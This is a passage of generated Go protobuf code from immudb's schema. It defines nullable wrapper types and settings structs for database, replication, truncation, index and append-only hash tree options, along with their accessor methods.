protoimpl.UnknownFields\n\n\tValue bool `protobuf:\"varint,1,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *NullableBool) Reset() {\n\t*x = NullableBool{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[78]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *NullableBool) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*NullableBool) ProtoMessage() {}\n\nfunc (x *NullableBool) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[78]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use NullableBool.ProtoReflect.Descriptor instead.\nfunc (*NullableBool) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{78}\n}\n\nfunc (x *NullableBool) GetValue() bool {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn false\n}\n\ntype NullableString struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tValue string `protobuf:\"bytes,1,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *NullableString) Reset() {\n\t*x = NullableString{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[79]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *NullableString) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*NullableString) ProtoMessage() {}\n\nfunc (x *NullableString) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[79]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use NullableString.ProtoReflect.Descriptor instead.\nfunc (*NullableString) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{79}\n}\n\nfunc (x *NullableString) GetValue() string {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn \"\"\n}\n\ntype NullableMilliseconds struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tValue int64 `protobuf:\"varint,1,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *NullableMilliseconds) Reset() {\n\t*x = NullableMilliseconds{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[80]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *NullableMilliseconds) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*NullableMilliseconds) ProtoMessage() {}\n\nfunc (x *NullableMilliseconds) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[80]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use NullableMilliseconds.ProtoReflect.Descriptor instead.\nfunc (*NullableMilliseconds) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{80}\n}\n\nfunc (x *NullableMilliseconds) GetValue() int64 {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn 0\n}\n\ntype DatabaseNullableSettings struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Replication settings\n\tReplicationSettings *ReplicationNullableSettings `protobuf:\"bytes,2,opt,name=replicationSettings,proto3\" json:\"replicationSettings,omitempty\"`\n\t// Max filesize on disk\n\tFileSize *NullableUint32 `protobuf:\"bytes,8,opt,name=fileSize,proto3\" json:\"fileSize,omitempty\"`\n\t// Maximum length of keys\n\tMaxKeyLen *NullableUint32 `protobuf:\"bytes,9,opt,name=maxKeyLen,proto3\" json:\"maxKeyLen,omitempty\"`\n\t// Maximum length of values\n\tMaxValueLen *NullableUint32 `protobuf:\"bytes,10,opt,name=maxValueLen,proto3\" json:\"maxValueLen,omitempty\"`\n\t// Maximum number of entries in a single transaction\n\tMaxTxEntries *NullableUint32 `protobuf:\"bytes,11,opt,name=maxTxEntries,proto3\" json:\"maxTxEntries,omitempty\"`\n\t// If set to true, do not include commit timestamp in transaction headers\n\tExcludeCommitTime *NullableBool `protobuf:\"bytes,12,opt,name=excludeCommitTime,proto3\" json:\"excludeCommitTime,omitempty\"`\n\t// Maximum number of simultaneous commits prepared for write\n\tMaxConcurrency *NullableUint32 `protobuf:\"bytes,13,opt,name=maxConcurrency,proto3\" json:\"maxConcurrency,omitempty\"`\n\t// Maximum number of simultaneous IO writes\n\tMaxIOConcurrency *NullableUint32 `protobuf:\"bytes,14,opt,name=maxIOConcurrency,proto3\" json:\"maxIOConcurrency,omitempty\"`\n\t// Size of the cache for transaction logs\n\tTxLogCacheSize *NullableUint32 `protobuf:\"bytes,15,opt,name=txLogCacheSize,proto3\" json:\"txLogCacheSize,omitempty\"`\n\t// Maximum number of simultaneous value files opened\n\tVLogMaxOpenedFiles *NullableUint32 `protobuf:\"bytes,16,opt,name=vLogMaxOpenedFiles,proto3\" json:\"vLogMaxOpenedFiles,omitempty\"`\n\t// Maximum number of simultaneous transaction log files opened\n\tTxLogMaxOpenedFiles *NullableUint32 `protobuf:\"bytes,17,opt,name=txLogMaxOpenedFiles,proto3\" json:\"txLogMaxOpenedFiles,omitempty\"`\n\t// Maximum number of simultaneous commit log files opened\n\tCommitLogMaxOpenedFiles *NullableUint32 `protobuf:\"bytes,18,opt,name=commitLogMaxOpenedFiles,proto3\" json:\"commitLogMaxOpenedFiles,omitempty\"`\n\t// Index settings\n\tIndexSettings *IndexNullableSettings `protobuf:\"bytes,19,opt,name=indexSettings,proto3\" json:\"indexSettings,omitempty\"`\n\t// Version of transaction header to use (limits available features)\n\tWriteTxHeaderVersion *NullableUint32 `protobuf:\"bytes,20,opt,name=writeTxHeaderVersion,proto3\" json:\"writeTxHeaderVersion,omitempty\"`\n\t// If set to true, automatically load the database when starting immudb (true by default)\n\tAutoload *NullableBool `protobuf:\"bytes,21,opt,name=autoload,proto3\" json:\"autoload,omitempty\"`\n\t// Size of the pool of read buffers\n\tReadTxPoolSize *NullableUint32 `protobuf:\"bytes,22,opt,name=readTxPoolSize,proto3\" json:\"readTxPoolSize,omitempty\"`\n\t// Fsync frequency during commit process\n\tSyncFrequency *NullableMilliseconds `protobuf:\"bytes,23,opt,name=syncFrequency,proto3\" json:\"syncFrequency,omitempty\"`\n\t// Size of the in-memory buffer for write operations\n\tWriteBufferSize *NullableUint32 `protobuf:\"bytes,24,opt,name=writeBufferSize,proto3\" json:\"writeBufferSize,omitempty\"`\n\t// Settings of Appendable Hash Tree\n\tAhtSettings *AHTNullableSettings `protobuf:\"bytes,25,opt,name=ahtSettings,proto3\" json:\"ahtSettings,omitempty\"`\n\t// Maximum number of pre-committed transactions\n\tMaxActiveTransactions *NullableUint32 `protobuf:\"bytes,26,opt,name=maxActiveTransactions,proto3\" json:\"maxActiveTransactions,omitempty\"`\n\t// Limit the number of read entries per transaction\n\tMvccReadSetLimit *NullableUint32 `protobuf:\"bytes,27,opt,name=mvccReadSetLimit,proto3\" json:\"mvccReadSetLimit,omitempty\"`\n\t// Size of the cache for value logs\n\tVLogCacheSize *NullableUint32 `protobuf:\"bytes,28,opt,name=vLogCacheSize,proto3\" json:\"vLogCacheSize,omitempty\"`\n\t// Truncation settings\n\tTruncationSettings *TruncationNullableSettings `protobuf:\"bytes,29,opt,name=truncationSettings,proto3\" json:\"truncationSettings,omitempty\"`\n\t// If set to true, values are stored together with the transaction header (true by default)\n\tEmbeddedValues *NullableBool `protobuf:\"bytes,30,opt,name=embeddedValues,proto3\" json:\"embeddedValues,omitempty\"`\n\t// Enable file preallocation\n\tPreallocFiles *NullableBool `protobuf:\"bytes,31,opt,name=preallocFiles,proto3\" json:\"preallocFiles,omitempty\"`\n}\n\nfunc (x *DatabaseNullableSettings) Reset() {\n\t*x = DatabaseNullableSettings{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[81]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DatabaseNullableSettings) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DatabaseNullableSettings) ProtoMessage() {}\n\nfunc (x *DatabaseNullableSettings) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[81]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DatabaseNullableSettings.ProtoReflect.Descriptor instead.\nfunc (*DatabaseNullableSettings) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{81}\n}\n\nfunc (x *DatabaseNullableSettings) GetReplicationSettings() *ReplicationNullableSettings {\n\tif x != nil {\n\t\treturn x.ReplicationSettings\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetFileSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.FileSize\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetMaxKeyLen() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MaxKeyLen\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetMaxValueLen() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MaxValueLen\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetMaxTxEntries() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MaxTxEntries\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetExcludeCommitTime() *NullableBool {\n\tif x != nil {\n\t\treturn x.ExcludeCommitTime\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetMaxConcurrency() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MaxConcurrency\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetMaxIOConcurrency() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MaxIOConcurrency\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetTxLogCacheSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.TxLogCacheSize\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetVLogMaxOpenedFiles() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.VLogMaxOpenedFiles\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetTxLogMaxOpenedFiles() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.TxLogMaxOpenedFiles\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetCommitLogMaxOpenedFiles() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.CommitLogMaxOpenedFiles\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetIndexSettings() *IndexNullableSettings {\n\tif x != nil {\n\t\treturn x.IndexSettings\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetWriteTxHeaderVersion() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.WriteTxHeaderVersion\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetAutoload() *NullableBool {\n\tif x != nil {\n\t\treturn x.Autoload\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetReadTxPoolSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.ReadTxPoolSize\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetSyncFrequency() *NullableMilliseconds {\n\tif x != nil {\n\t\treturn x.SyncFrequency\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetWriteBufferSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.WriteBufferSize\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetAhtSettings() *AHTNullableSettings {\n\tif x != nil {\n\t\treturn x.AhtSettings\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetMaxActiveTransactions() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MaxActiveTransactions\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetMvccReadSetLimit() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MvccReadSetLimit\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetVLogCacheSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.VLogCacheSize\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetTruncationSettings() *TruncationNullableSettings {\n\tif x != nil {\n\t\treturn x.TruncationSettings\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetEmbeddedValues() *NullableBool {\n\tif x != nil {\n\t\treturn x.EmbeddedValues\n\t}\n\treturn nil\n}\n\nfunc (x *DatabaseNullableSettings) GetPreallocFiles() *NullableBool {\n\tif x != nil {\n\t\treturn x.PreallocFiles\n\t}\n\treturn nil\n}\n\ntype ReplicationNullableSettings struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// If set to true, this database is replicating another database\n\tReplica *NullableBool `protobuf:\"bytes,1,opt,name=replica,proto3\" json:\"replica,omitempty\"`\n\t// Name of the database to replicate\n\tPrimaryDatabase *NullableString `protobuf:\"bytes,2,opt,name=primaryDatabase,proto3\" json:\"primaryDatabase,omitempty\"`\n\t// Hostname of the immudb instance with database to replicate\n\tPrimaryHost *NullableString `protobuf:\"bytes,3,opt,name=primaryHost,proto3\" json:\"primaryHost,omitempty\"`\n\t// Port of the immudb instance with database to replicate\n\tPrimaryPort *NullableUint32 `protobuf:\"bytes,4,opt,name=primaryPort,proto3\" json:\"primaryPort,omitempty\"`\n\t// Username of the user with read access of the database to replicate\n\tPrimaryUsername *NullableString `protobuf:\"bytes,5,opt,name=primaryUsername,proto3\" json:\"primaryUsername,omitempty\"`\n\t// Password of the user with read access of the database to replicate\n\tPrimaryPassword *NullableString `protobuf:\"bytes,6,opt,name=primaryPassword,proto3\" json:\"primaryPassword,omitempty\"`\n\t// Enable synchronous replication\n\tSyncReplication *NullableBool `protobuf:\"bytes,7,opt,name=syncReplication,proto3\" json:\"syncReplication,omitempty\"`\n\t// Number of confirmations from synchronous replicas required to commit a transaction\n\tSyncAcks *NullableUint32 `protobuf:\"bytes,8,opt,name=syncAcks,proto3\" json:\"syncAcks,omitempty\"`\n\t// Maximum number of prefetched transactions\n\tPrefetchTxBufferSize *NullableUint32 `protobuf:\"bytes,9,opt,name=prefetchTxBufferSize,proto3\" json:\"prefetchTxBufferSize,omitempty\"`\n\t// Number of concurrent replications\n\tReplicationCommitConcurrency *NullableUint32 `protobuf:\"bytes,10,opt,name=replicationCommitConcurrency,proto3\" json:\"replicationCommitConcurrency,omitempty\"`\n\t// Allow precommitted transactions to be discarded if the replica diverges from the primary\n\tAllowTxDiscarding *NullableBool `protobuf:\"bytes,11,opt,name=allowTxDiscarding,proto3\" json:\"allowTxDiscarding,omitempty\"`\n\t// Disable integrity check when reading data during replication\n\tSkipIntegrityCheck *NullableBool `protobuf:\"bytes,12,opt,name=skipIntegrityCheck,proto3\" json:\"skipIntegrityCheck,omitempty\"`\n\t// Wait for indexing to be up to date during replication\n\tWaitForIndexing *NullableBool `protobuf:\"bytes,13,opt,name=waitForIndexing,proto3\" json:\"waitForIndexing,omitempty\"`\n}\n\nfunc (x *ReplicationNullableSettings) Reset() {\n\t*x = ReplicationNullableSettings{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[82]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ReplicationNullableSettings) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ReplicationNullableSettings) ProtoMessage() {}\n\nfunc (x *ReplicationNullableSettings) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[82]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ReplicationNullableSettings.ProtoReflect.Descriptor instead.\nfunc (*ReplicationNullableSettings) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{82}\n}\n\nfunc (x *ReplicationNullableSettings) GetReplica() *NullableBool {\n\tif x != nil {\n\t\treturn x.Replica\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetPrimaryDatabase() *NullableString {\n\tif x != nil {\n\t\treturn x.PrimaryDatabase\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetPrimaryHost() *NullableString {\n\tif x != nil {\n\t\treturn x.PrimaryHost\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetPrimaryPort() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.PrimaryPort\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetPrimaryUsername() *NullableString {\n\tif x != nil {\n\t\treturn x.PrimaryUsername\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetPrimaryPassword() *NullableString {\n\tif x != nil {\n\t\treturn x.PrimaryPassword\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetSyncReplication() *NullableBool {\n\tif x != nil {\n\t\treturn x.SyncReplication\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetSyncAcks() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.SyncAcks\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetPrefetchTxBufferSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.PrefetchTxBufferSize\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetReplicationCommitConcurrency() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.ReplicationCommitConcurrency\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetAllowTxDiscarding() *NullableBool {\n\tif x != nil {\n\t\treturn x.AllowTxDiscarding\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetSkipIntegrityCheck() *NullableBool {\n\tif x != nil {\n\t\treturn x.SkipIntegrityCheck\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicationNullableSettings) GetWaitForIndexing() *NullableBool {\n\tif x != nil {\n\t\treturn x.WaitForIndexing\n\t}\n\treturn nil\n}\n\ntype TruncationNullableSettings struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Retention Period for data in the database\n\tRetentionPeriod *NullableMilliseconds `protobuf:\"bytes,1,opt,name=retentionPeriod,proto3\" json:\"retentionPeriod,omitempty\"`\n\t// Truncation Frequency for the database\n\tTruncationFrequency *NullableMilliseconds `protobuf:\"bytes,2,opt,name=truncationFrequency,proto3\" json:\"truncationFrequency,omitempty\"`\n}\n\nfunc (x *TruncationNullableSettings) Reset() {\n\t*x = TruncationNullableSettings{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[83]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *TruncationNullableSettings) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*TruncationNullableSettings) ProtoMessage() {}\n\nfunc (x *TruncationNullableSettings) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[83]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use TruncationNullableSettings.ProtoReflect.Descriptor instead.\nfunc (*TruncationNullableSettings) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{83}\n}\n\nfunc (x *TruncationNullableSettings) GetRetentionPeriod() *NullableMilliseconds {\n\tif x != nil {\n\t\treturn x.RetentionPeriod\n\t}\n\treturn nil\n}\n\nfunc (x *TruncationNullableSettings) GetTruncationFrequency() *NullableMilliseconds {\n\tif x != nil {\n\t\treturn x.TruncationFrequency\n\t}\n\treturn nil\n}\n\ntype IndexNullableSettings struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Number of new index entries between disk flushes\n\tFlushThreshold *NullableUint32 `protobuf:\"bytes,1,opt,name=flushThreshold,proto3\" json:\"flushThreshold,omitempty\"`\n\t// Number of new index entries between disk flushes with file sync\n\tSyncThreshold *NullableUint32 `protobuf:\"bytes,2,opt,name=syncThreshold,proto3\" json:\"syncThreshold,omitempty\"`\n\t// Size of the Btree node cache in bytes\n\tCacheSize *NullableUint32 `protobuf:\"bytes,3,opt,name=cacheSize,proto3\" json:\"cacheSize,omitempty\"`\n\t// Max size of a single Btree node in bytes\n\tMaxNodeSize *NullableUint32 `protobuf:\"bytes,4,opt,name=maxNodeSize,proto3\" json:\"maxNodeSize,omitempty\"`\n\t// Maximum number of active btree snapshots\n\tMaxActiveSnapshots *NullableUint32 `protobuf:\"bytes,5,opt,name=maxActiveSnapshots,proto3\" json:\"maxActiveSnapshots,omitempty\"`\n\t// Time in milliseconds between the most recent DB snapshot is automatically renewed\n\tRenewSnapRootAfter *NullableUint64 `protobuf:\"bytes,6,opt,name=renewSnapRootAfter,proto3\" json:\"renewSnapRootAfter,omitempty\"`\n\t// Minimum number of updates entries in the btree to allow for full compaction\n\tCompactionThld *NullableUint32 `protobuf:\"bytes,7,opt,name=compactionThld,proto3\" json:\"compactionThld,omitempty\"`\n\t// Additional delay added during indexing when full compaction is in progress\n\tDelayDuringCompaction *NullableUint32 `protobuf:\"bytes,8,opt,name=delayDuringCompaction,proto3\" json:\"delayDuringCompaction,omitempty\"`\n\t// Maximum number of simultaneously opened nodes files\n\tNodesLogMaxOpenedFiles *NullableUint32 `protobuf:\"bytes,9,opt,name=nodesLogMaxOpenedFiles,proto3\" json:\"nodesLogMaxOpenedFiles,omitempty\"`\n\t// Maximum number of simultaneously opened node history files\n\tHistoryLogMaxOpenedFiles *NullableUint32 `protobuf:\"bytes,10,opt,name=historyLogMaxOpenedFiles,proto3\" json:\"historyLogMaxOpenedFiles,omitempty\"`\n\t// Maximum number of simultaneously opened commit log files\n\tCommitLogMaxOpenedFiles *NullableUint32 `protobuf:\"bytes,11,opt,name=commitLogMaxOpenedFiles,proto3\" json:\"commitLogMaxOpenedFiles,omitempty\"`\n\t// Size of the in-memory flush buffer (in bytes)\n\tFlushBufferSize *NullableUint32 `protobuf:\"bytes,12,opt,name=flushBufferSize,proto3\" json:\"flushBufferSize,omitempty\"`\n\t// Percentage of node files cleaned up during each flush\n\tCleanupPercentage *NullableFloat `protobuf:\"bytes,13,opt,name=cleanupPercentage,proto3\" json:\"cleanupPercentage,omitempty\"`\n\t// Maximum number of transactions indexed together\n\tMaxBulkSize *NullableUint32 `protobuf:\"bytes,14,opt,name=maxBulkSize,proto3\" json:\"maxBulkSize,omitempty\"`\n\t// Maximum time waiting for more transactions to be committed and included into the same bulk\n\tBulkPreparationTimeout *NullableMilliseconds `protobuf:\"bytes,15,opt,name=bulkPreparationTimeout,proto3\" json:\"bulkPreparationTimeout,omitempty\"`\n}\n\nfunc (x *IndexNullableSettings) Reset() {\n\t*x = IndexNullableSettings{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[84]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *IndexNullableSettings) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*IndexNullableSettings) ProtoMessage() {}\n\nfunc (x *IndexNullableSettings) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[84]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use IndexNullableSettings.ProtoReflect.Descriptor instead.\nfunc (*IndexNullableSettings) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{84}\n}\n\nfunc (x *IndexNullableSettings) GetFlushThreshold() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.FlushThreshold\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetSyncThreshold() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.SyncThreshold\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetCacheSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.CacheSize\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetMaxNodeSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MaxNodeSize\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetMaxActiveSnapshots() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MaxActiveSnapshots\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetRenewSnapRootAfter() *NullableUint64 {\n\tif x != nil {\n\t\treturn x.RenewSnapRootAfter\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetCompactionThld() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.CompactionThld\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetDelayDuringCompaction() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.DelayDuringCompaction\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetNodesLogMaxOpenedFiles() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.NodesLogMaxOpenedFiles\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetHistoryLogMaxOpenedFiles() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.HistoryLogMaxOpenedFiles\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetCommitLogMaxOpenedFiles() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.CommitLogMaxOpenedFiles\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetFlushBufferSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.FlushBufferSize\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetCleanupPercentage() *NullableFloat {\n\tif x != nil {\n\t\treturn x.CleanupPercentage\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetMaxBulkSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.MaxBulkSize\n\t}\n\treturn nil\n}\n\nfunc (x *IndexNullableSettings) GetBulkPreparationTimeout() *NullableMilliseconds {\n\tif x != nil {\n\t\treturn x.BulkPreparationTimeout\n\t}\n\treturn nil\n}\n\ntype AHTNullableSettings struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Number of new leaves in the tree between synchronous flush to disk\n\tSyncThreshold *NullableUint32 `protobuf:\"bytes,1,opt,name=syncThreshold,proto3\" json:\"syncThreshold,omitempty\"`\n\t// Size of the in-memory write buffer\n\tWriteBufferSize *NullableUint32 `protobuf:\"bytes,2,opt,name=writeBufferSize,proto3\" json:\"writeBufferSize,omitempty\"`\n}\n\nfunc (x *AHTNullableSettings) Reset() {\n\t*x = AHTNullableSettings{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[85]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *AHTNullableSettings) String() string 